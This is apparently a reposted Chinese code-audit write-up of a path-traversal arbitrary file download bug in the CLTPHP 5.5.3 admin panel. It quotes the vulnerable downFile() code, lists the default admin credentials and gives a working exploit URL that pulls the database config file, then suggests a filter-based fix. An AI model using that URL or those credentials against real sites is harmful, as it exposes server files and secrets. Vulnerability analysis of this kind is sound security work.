1. 程式人生 > >【代碼審計】CLTPHP_v5.5.3後臺任意文件下載漏洞分析

【代碼審計】CLTPHP_v5.5.3後臺任意文件下載漏洞分析

func attach database 9.png jpg 允許 left 簡單 服務

0x00 環境準備

CLTPHP官網:http://www.cltphp.com

網站源碼版本:CLTPHP內容管理系統5.5.3版本

程序源碼下載:https://gitee.com/chichu/cltphp

默認後臺地址: http://127.0.0.1/admin/login/index.html

默認賬號密碼: 後臺登錄名:admin 密碼:admin123

測試網站首頁:

技術分享圖片

0x01 代碼分析

1、/app/admin/controller/Database.php 第203-219行:

  1. public function downFile() {
  2. $file = $this
    ->request->param(‘file‘);
  3. $type = $this->request->param(‘type‘);
  4. if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
  5. $this->error("下載地址不存在");
  6. }
  7. $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
  8. $filePath = $path[$type] . $file;
  9. if (!file_exists($filePath)) {
  10. 10. $this->error("該文件不存在,可能是被刪除");
  11. 11. }
  12. 12. $filename = basename($filePath);
  13. 13. header("Content-type: application/octet-stream");
  14. 14. header(‘Content-Disposition: attachment; filename="‘ . $filename . ‘"‘);
  15. 15. header("Content-Length: " . filesize($filePath));
  16. 16. readfile($filePath);

17. }

在這段函數中,參數file未經任何處理,直接進行參數拼接,然後下載,導致程序在實現上存在任意文件下載漏洞,可以構造參數下載服務器任意文件,如腳本代碼,服務及系統配置文件等;可用得到的代碼進一步代碼審計,得到更多可利用漏洞。

0x02 漏洞利用

1、登錄網站後臺,構造url參數下載網站配置文件:

http://127.0.0.1/admin/Database/downFile.html?type=sql&file=..\\..\\app\\database.php

技術分享圖片

2、成功下載數據庫配置文件,獲取敏感信息內容

技術分享圖片

0x03 修復建議

1、在下載前對傳入的參數進行過濾,直接將..替換成空,就可以簡單實現防範的目的

2、最好還是可以對待下載文件類型進行二次檢查,判斷是否允許下載類型。

最後

歡迎關註個人微信公眾號:Bypass--,每周原創一篇技術幹貨。

技術分享圖片

【代碼審計】CLTPHP_v5.5.3後臺任意文件下載漏洞分析